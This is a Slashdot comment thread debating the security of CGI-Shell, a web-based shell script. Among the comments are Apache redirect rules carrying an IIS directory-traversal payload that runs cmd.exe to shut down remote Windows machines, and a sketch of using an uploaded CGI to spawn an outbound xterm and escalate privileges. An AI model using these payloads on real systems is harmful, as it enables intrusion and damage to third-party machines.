Shell Simulation Via CGI 337
mischi writes "CGI-Shell simulates a shell using CGI. So everybody who has a CGI-directory on a web-server, also has its own shell on it -- comparable with Telnet or SSH.
That's really practical, because most webhosters don't offer a shell (for free) -- but do offer CGI.
With CGI-Shell you can execute commands, copy files or just explore your webserver. Even a history and auto-completion with tabulator are included.
"
Backdoors (Score:5, Interesting)
yes... (Score:2)
Re:Backdoors (Score:2, Funny)
% rm -f -r
I'll pass...
Re:Backdoors (Score:3, Insightful)
If you misconfigure this thing, or leave it lying around, or make the password guessable...well, how's this different from having a buggy CGI-script [slashdot.org] or otherwise?
Re:Backdoors (Score:2, Insightful)
But...
I once worked on a machine that had "nobody" with write permissions.
I had to explain to the client that because the web server was working fine, that it didn't mean that the security and permissions were in tact.
The admin (a windows guy) decided that since he kept getting the "permission denied" when any web page was displayed, the best thing to do was to give "all access" permissions to "nobody".
Once again, I explained to him that unlike Windows, permissions on Linux and Unix is a bit more flexible and clearly something that shouldn't be taken lightly -- I got this glazed look, and simply fixed it all for him and told him to leave that box alone "and stick with NT".
A CGI to do shell commands. Another thing to worry about on your customer machines...
no thanks
Re:Backdoors (Score:2)
WTF are you smoking? ACLs on users and groups are a hell of a lot easier to manage than the kludge that is groups.
Now, as to whether it's used *properly* by admins on Windows is another issue.
Re:Backdoors (Score:3, Interesting)
Directory X:
Group A has read
Group B has read/write
Group C has write
Group D (not owner) can assign permissions
User Z (A member of C) needs read/write
BS (Score:3, Informative)
Example: Can the standard unix permissions give access to everyone in group a,b, and c, except for user x who is also a member of groups b and c, and y, as well as ensuring that z has full access to everything? No, you can't.
If you allow your customers to upload their own cgis, this is merely a tool.
This IS a good tool.
Re:Backdoors (Score:5, Insightful)
Re:Backdoors (Score:3, Insightful)
the user has already the right to run serverside stuff to run this, so what's the problem?
it's not like you should as a webhoster trust the individual users of you to be competent enough to write secure cgi scripts.
i would kinda think that people would be putting passwords on their cgi-shells, otherwise they could just as well give their ftp passes on their page as well.
Is it worse than CGI? (Score:5, Insightful)
My first response was 'you what?'
Over the next few years we saw countless exploits of the form 'add this to the command line arguments, execute an arbitrary command'.
This is one reason why I so hate 'its only like what we do before' type security arguments. What you are already doing may be braindamaged.
People like to complain about IIS security but they fail to acknowledge that the single architectural issue that has led to those exploits is structurally similar to CGI. The game is to persuade a script to execute an arbitrary command.
Apache has had fewer exploits simply because the bugs are attributed to the braindamaged scripts written by the users.
If you want to run a secure Web server the thing to do is to turn off all scripting. Compiling the scripts and linking them into the server as a plug in is a lot more satisfactory as an architectural approach, especially if you have ways to reduce the privilleges of that module to least priv.
Front Doors, not Back Doors. Admin work! (Score:4, Insightful)
(Obviously if your hosting provider uses a Windows system instead of Unix, the answer to "where are you" is "Probably nowhere interesting", though it can probably be adapted to support Windows command line services as well.)
web brower (Score:5, Funny)
lynx!? (Score:3, Informative)
I give the hosted users of my server [frob.us] ssh access for the sole reason that it keeps them from running shit like this.
Despite the BOFH myths, which I am guilty of perpetuating, not all sysadmins are jackasses. So long as the sysadmin knows you and you promise not to abuse priveledges you can get everything short of root and
If you really need shell access and don't want to risk losing your account just send your sysadmin a thinkgeek caffeine sampler and some shirts. Massive capacity SCSI disks are a great substitute.
Script Kiddie Paradise (Score:2, Redundant)
Re:Script Kiddie Paradise (Score:2)
Hi, my name is Security! Wait, what are you doing.. Ow! Ow! Stop, that hurts, oh some body help me please oh god it hurts make it sto...
Not to mention.. (Score:2, Redundant)
Doesn't IIS Already Have This? (Score:5, Funny)
GET
Someone always seems to be trying to run shell commands on my Apache server. I wish they would realize that Apache doesn't have this "shell" feature.
Seriously, though, this is the most hideously insecure thing I have ever heard of.
Re:Doesn't IIS Already Have This? (Score:5, Funny)
RedirectMatch permanent (.*)c+dir http://127.0.0.1/scripts/..%255c..%255cwinnt/syste m32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWind owsEx%201
Re:Doesn't IIS Already Have This? (Score:2)
Re:Doesn't IIS Already Have This? (Score:2)
Re:Doesn't IIS Already Have This? (Score:3, Informative)
would be nice, tho
Re:Doesn't IIS Already Have This? (Score:3, Interesting)
Re:Doesn't IIS Already Have This? (Score:3, Interesting)
Yeah it works--I got some pretty upset phone calls last year at my university, when my box had shut down an NT "corridor" machine to the scripted, dynamic "student accounts pages"... They pulled my internet connection for 3 days (it happened over a weekend) with an order to fix it before they restored my connection.
They also threatened to bill me for their damages--an estimated $700. (I have no idea where they dreamed up that number.)
I'm just too lazy to go find a link--there has been declared today a "low brain activity advisory" by the National Weather Service. :)
Re:Doesn't IIS Already Have This? (Score:2)
Fun though, thanks.
Re:Doesn't IIS Already Have This? (Score:3, Funny)
RedirectMatch permanent (.*)c+dir http://www.microsoft.com/scripts/..%255c..%255cwi
Re:Doesn't IIS Already Have This? (Score:2)
You don't get out much. This is exactly (and only) as insecure as any other arbitrary CGI script that they might write and run.
If the CGI environment is properly chrooted, this is a perfectly safe tool.
Re:Doesn't IIS Already Have This? (Score:2)
Surprised... (Score:2, Interesting)
Kudos to these guys who developed this, but I hate to see how this is going to be exploited
Re:Surprised... (Score:4, Interesting)
I'm surprised this is considered news, since it's an age-old idea.
Friends of mine once used a cheapo ISP who did not offer shell access, but who made the mistake of running Apache with root priviledges. They used a similar script years ago to do remote administration of their site on that mis-configured server. They never exploited the security hole, but they always thought it was funny that they had a "limited web account" yet full access to everything on the server.
Simulation? (Score:2, Insightful)
Achtung! (Score:2)
Relax und watch das blinken cursor.
UID issues (Score:5, Interesting)
Re:UID issues (Score:2)
would you like root acct with that? (Score:2)
Re:would you like root acct with that? (Score:2)
This sounds like a nice voluntary security hole to me anyway.
Re:would you like root acct with that? (Score:2)
Give me a break (Score:3, Insightful)
Security? (Score:2)
Jason
ProfQuotes [profquotes.com]
Re:Security? (Score:2)
I've used something exatly like this for months (Score:4, Interesting)
This is just a new version of an old product, and has the same major problem: "applications interacting with the user (those that ask for input from the user), e.g. passwd are still a problem. "
So it's good for doing a chmod or ipfwd line, but you cant run vi or the like.
How hard would it be to get full terminal emulation through a browser applet?
Re:I've used something exatly like this for months (Score:4, Insightful)
Re:I've used something exatly like this for months (Score:2, Informative)
So you could limit it to ls, rm, mv, and cp with the users security level.
All it does is shell commands and pipe stdout back onto the form.
It's such a trivial script I'm surprised its newsworthy even by
Re:I've used something exatly like this for months (Score:2)
Oh yeah. You can upload a CGI script to start an xterm running on the web server displaying on your own workstation. Most people don't block outbound connections on their firewall, and the X11 connection is initiated from within. Nothing's tcp_wrapper'd from localhost, so now you can r00t fingerd, or one of the CDE daemons. You got 5 minutes to do as you please before the CGI times out and the httpd kills you.
This is a cracking tool, plain and simple. I don't understand why Slashdot is promoting it as the greatest thing since sliced bread.
Re:I've used something exatly like this for months (Score:2)
We run this on a server that a group of people I'm associated run. Works extremely well if you're on a box that doesn't have an ssh client installed.
may be useful (Score:2)
Seeing as how I use my boxen as my development environment, it would be nice to be able to retrieve my assignments from my computer, while in the lab. It'd also be nice to be able to do my assignments on my box while in the lab, but it seems to me that I'd be reloading the page a lot which would become cumbersome.
I had emailed the network admin about this, and his reply was that he had no idea what I was talking about. Which may be good, or may be bad, when I go to talk to him about it.
In the mean time (or if outward ssh access is never granted) this might prove to be a half decent solution.
Not very useful for your purposes (Score:2)
CGI-Shell allows the execution of any application and any command on the web-server. Various "comfort-features", such as a history and auto-completion with the tabulator are included - CGI-Shell offers in principle the same comfort as any other shell does. Unfortunately, applications interacting with the user (those that ask for input from the user), e.g. passwd are still a problem.
To Paraphrase Jurrassic Park... (Score:2, Insightful)
Just imaging Jeff Goldblum doing his bug-eyed, the-sky-is-falling scientist bit
--Mid
Probable hosting service response. (Score:5, Informative)
Min
Re:Probable hosting service response. (Score:2)
Re:Probable hosting service response. (Score:2)
Not saying its a GOOD security position to ignore exploits that aren't remotely exploitable, just that it appears to be the attitude put forward by the vast majority of sysadmins.
Minupla
Re:Probable hosting service response. (Score:2)
Re:Probable hosting service response. (Score:2)
Re:Probable hosting service response. (Score:2)
It would be cool if there were a way to run each site on a virtual OS, so that rooting one virtual server would have no effect upon the other virtual servers, or the real physical server. Could user-mode Linux be used for this? VMware?
Steve
Stop whinging - this is a good thing (Score:5, Interesting)
Any exploits that this allows idiots/script kiddies to do are exploits that a Perl programmer with half a brain can write in about 6 lines of code:
If your web server is so badly configured that this creates security issues for you, you seriously need to read up on security.
.02
cLive ;-)
Re:Stop whinging - this is a good thing (Score:2)
clive ;-)
Even easier: PHP shell_exec() (Score:2)
Re:Even easier: PHP shell_exec() (Score:2)
Re:Stop whinging - this is a good thing (Score:5, Funny)
Re:Stop whinging - this is a good thing (Score:2)
I agree that this is a good thing. I could really use this, But your comment about this only creating security problems on web servers with poor configuration is absolutely inane. If you think you're such a security badass, why don't you let me install and use it on your webserver and see if it creates security issues for you?
And just for your own education, why don't you check out all the application specific non-network related exploits that are posted in droves on bugtraq. All these become network exploitable when you have a shell.
This is what perl's safe mode is for (Score:3, Insightful)
They do, however.
I had the opposite (Score:5, Insightful)
I once had the opposite problem. About 10 years ago, my ISP gave shell accounts and a web folder, but did not offer cgi. Again, why bother? I got around it rather easily by running my own http server on a non-standard port from my shell account. Then if I wanted to link to a cgi from my web page, I just had to include the ":port" in the URL.
in other news (Score:2)
Re:in other news (Score:2)
Only if every single webmaster with CGI access installs the !#$$#@&@! thing....
If I were running an ISP, I'd ban this CGI. I would also allow shell access via secure shell, though. If you just run a decently secure OS (OpenBSD, for example), keep on top of security information and patches, and perhaps require an additional small fee for shell access and put the accounts with shell access on a separate server, the security issues with shell access should be manageable.
But I still read email on shell -- what do I know? <wry grin>
You people are so negative! (Score:4, Interesting)
baka.
1) commands run with as much permissions as the perl script itself, including umask. If there just happens to be a local r00t expl0it, well that's too bad. Perhaps it would motivate the server owner to apply some patches. Any damage would be limited to that which can be done with shell access otherwise (which this is supposed to provide). Moreover, it would behoove the owner of said script to make a few simple changes and use a white list of allowed commands or a blacklist of dubious things to prevent shenanigans (IE no eval, command interpolation, or exec, and limiting PATH)
2) htaccess is as secure as telnet (perhaps moreso). I have telnet open to untrusted accounts, and I've not been rooted. The only thing I would complain about is how browsers manage basic auth permissions. I would encourage users to modify the script to remove any weird html and write a user-interface shell script (using curl or something) to provide a pseudo-terminal session. This would prevent the session from being hijacked by browser bugs or by just not closing out of Moz or IE.
3) Finally, there is nothing about this that would prevent you from using SSL... a feature that some sites might provide as a side effect of having a management, ecommerce, or sign-up site hosted on the same machine.
One thing I don't like is the lack of simple console i/o. It would be nice to provide simple console support via HTTP/1.1 streaming and javascript on the client side; it wouldn't be interactive but it could at least emulate things like no-echo with a "password" textbox vs. a normal textbox.
It sounds like a lot of work though.
shellinabox (Score:2, Interesting)
sellinabox.com [shellinabox.com]
This is news? (Score:4, Insightful)
Such "shell" CGIs have been around for a while.
I don't see why this ad...i mean...story deserves to be posted.
Whose bright idea was this? (Score:2, Redundant)
Let's examine some problems, shall we: -Most servers (if not all) run CGI scripts as a given user (ie: nobody, www, cgi, apache). If that user is a crippled or limited user, then CGI-Shell is useless for running commands other than "ls". If not, then that user could potentially kill things like the server process, which is also bad. -If all CGI scripts are run as the same user (see above), then anyone has access to files or directories created by another cgi-shell process. After all, they're owned by the same user. -Cleartext passwords via htpasswd. They didn't even _try_ to use SSL - it's so not hard. -Man-in-the-middle attack? Anyone could hijack your "shell" session. -Can anyone say backdoor?
Sure, this is cool to play around with and install on your home machine, but if anyone lets this into a production environment they're on crack. Either install sshd, or don't. But don't try to implement it over CGI.
I wonder if this story is just a troll...
Not to be stupid (Score:2, Insightful)
How about a Java ssh/telnet applet? (Score:2)
What I'd really like to find is a Java applet installed somewhere (ideally my home machine, but it could really be anywhere) that emulates a telnet/ssh client. That would allow me (and anyone I give htaccess to) to telnet/ssh to anywhere I want, from any terminal that's capable of running Java applets. Such an applet would be so mindbogglingly useful, I'm surprised I've never seen an instance of it yet.
Re:How about a Java ssh/telnet applet? (Score:3, Informative)
I like this idea better than a cgi-bin shell which might pass along naughty combinations of characters, and has everything in plain text to risk snooping.
Re:How about a Java ssh/telnet applet? (Score:4, Funny)
I mean... that would just be too easy and too obvious.
Re:How about a Java ssh/telnet applet? (Score:3, Informative)
Re:How about a Java ssh/telnet applet? (Score:3, Informative)
TightVNC also includes a java client if you want to have a graphical remote connection.
I carry a business card size cd with putty and tightVNC and such on it to use most of the time though...
Go figure... (Score:4, Funny)
How is this anything new? (Score:2)
Its only a problem if your web host is a moron... (Score:2, Insightful)
Speaking as a Web Host [assortedinternet.com] - I wouldn't mind this one bit. We run suEXEC on our servers, so any commands that they execute under this CGI-Shell would run under their own permissions anyhow.
They can do no worse running this script than they can already do on the command line. Since we use fairly tight permissions on the server, there isn't a lot they can do to disrupt things anyways.
A PHP Shell script [gimpster.com] has been around for a while - THAT version can cause some security issues since typically PHP runs as nobody. Then the trick is making sure nobody doesn't have any special permissions that could cause a server issue.
Basically, if your diligent, this script shouldn't cause any more problems than any other CGI script.
Take care,
Brian
--
http://www.assortedinternet.com/ [assortedinternet.com]
Security? (Score:2)
Its worse use would be making cracking a box a little more convienient by allowing the hacker to run commands faster. It's best use would be making administering your site a little more convienient if you aren't allowed shell access. There's nothing to get up in arms about.
Isn't slashdot supposed to be an audience that understands both the legitimate and illegitimate uses of technologies. Every tool is a weapon if ya hold it right. Right?
Been there, done that (Score:2, Interesting)
run modified suexec to jail them (Score:4, Interesting)
Even better; use the Java Telnet Application (Score:3, Informative)
Violation of principles (Score:3, Insightful)
As others have said, there are so many ways this could be abused, either willfully or by accident. You can make the situation a little bit better by restricting this service to HTTPS sites, certain users or IPs, etc -- but why bother reinventing the wheel when, in the form of SSH (or even Telnet), this is a more or less solved problem?
I do not see this as a good idea for general Geocities styled simple CGI site hosting. It might be useful in certain restricted environments -- your server's co-location facility only allows port 80, but you have VPN access & can usefully tunnel in this way -- but any example I can think of (like the one I just wrote) is pretty contrived & probably full of holes. It is a pretty clever engineering hack, but not one that should probably be released into the wild -- it addresses the wrong problem in the wrong way, albeit cleverly.
No change to the level of security (Score:3, Insightful)
Before this program, you had to write a script like this (for example):
Security VS Convenience (Score:3, Insightful)
Actually what I _really_ wish I could find is a nice, free, secure file transfer program. I use scp but our designer doesn't seem to get it or ssh. I just want a nice gui that he can run on his Mac that is a bit more secure than ftp.
Shell != ability to run one command at a time (Score:3, Informative)
A shell is more than the ability to run simple commands; it provides an environment to run commands, maintain a command-line history, spawn processes, store variables, etc.
And any good CGI Shell should also take output from the system command and format it into HTML that will display in a browser the same as it would in the shell.
Am I missing something here, or is this "cgi shell" thing really not newsworthy?
This is new? (Score:4, Informative)
Since this got so much publicity I was expecting something new, such as the ability to interact with interactive programs. But it seems this one lacks that feature aswell, in essence making it a poor substitute for a real shell. Pico, micq, bitchx, su, passwd, any interactive program is UNUSABLE.
That is its biggest limitation.
Re:security? (Score:5, Informative)
If two or more people on a server both install this, they can read and modify each other's files, etc. since the CGIs will be running as the same user.
Re:security? (Score:5, Informative)
Re:security? (Score:2, Funny)
Heh heh he... Chortle chortle...... Evil cackle.
I expect this is a big "if"....
Re:security? (Score:2, Informative)
Re:Shell whores. (Score:2)
Re:Shell whores. (Score:3, Funny)
I'm no 1337 geek, but it sounds like breakfast to me. Maybe it has something to do with the Slashdot omelette [slashdot.org]?
Re:Shell whores. (Score:2)
Re:Shell whores. (Score:3, Informative)
You can get more info here [eggheads.org].
Re:Sl0w (Score:2)
The overhead of invoking a CGI script in in the ballpark of a tenth of a second on a oldish PII-based server. It's much much less if Apache is built with mod_perl. Can you type a command line in less than a tenth of a second? If not, you won't notice.
Security, yes, that's an issue. Speed isn't.
Re:funny (Score:2)
It's either that or you need to work on your post titles, Boromir.
Re:ok... (Score:2)
A pretty neat idea, actually. (Score:3, Interesting)
I, for one, am considering using this on a couple of my customers' sites. They are hosted on systems where I can't get shell access. This will let me configure some things on the system without having an identical setup on my own box (or running a bunch of "echo `env | sort`" type CGI scripts)
I won't keep this script around in the account. When I need it I can upload it, do my deeds, and then remove it. I can change passwd each time I re-install.
BTW: I don't consider this any less secure than the (clear-text) FTP access I have to the account. The fact that this program exists means that anyone could have written it (or a similar proggy) and uploaded it to the CGI-BIN directory.
Re:Is CGI-Shell secure? (try SSL) (Score:2)
Re:WHEN WILL IT SIMULATE WINDOWS XP? (Score:2)
Since the 'funny' came last, it wins as the 'official' explanation.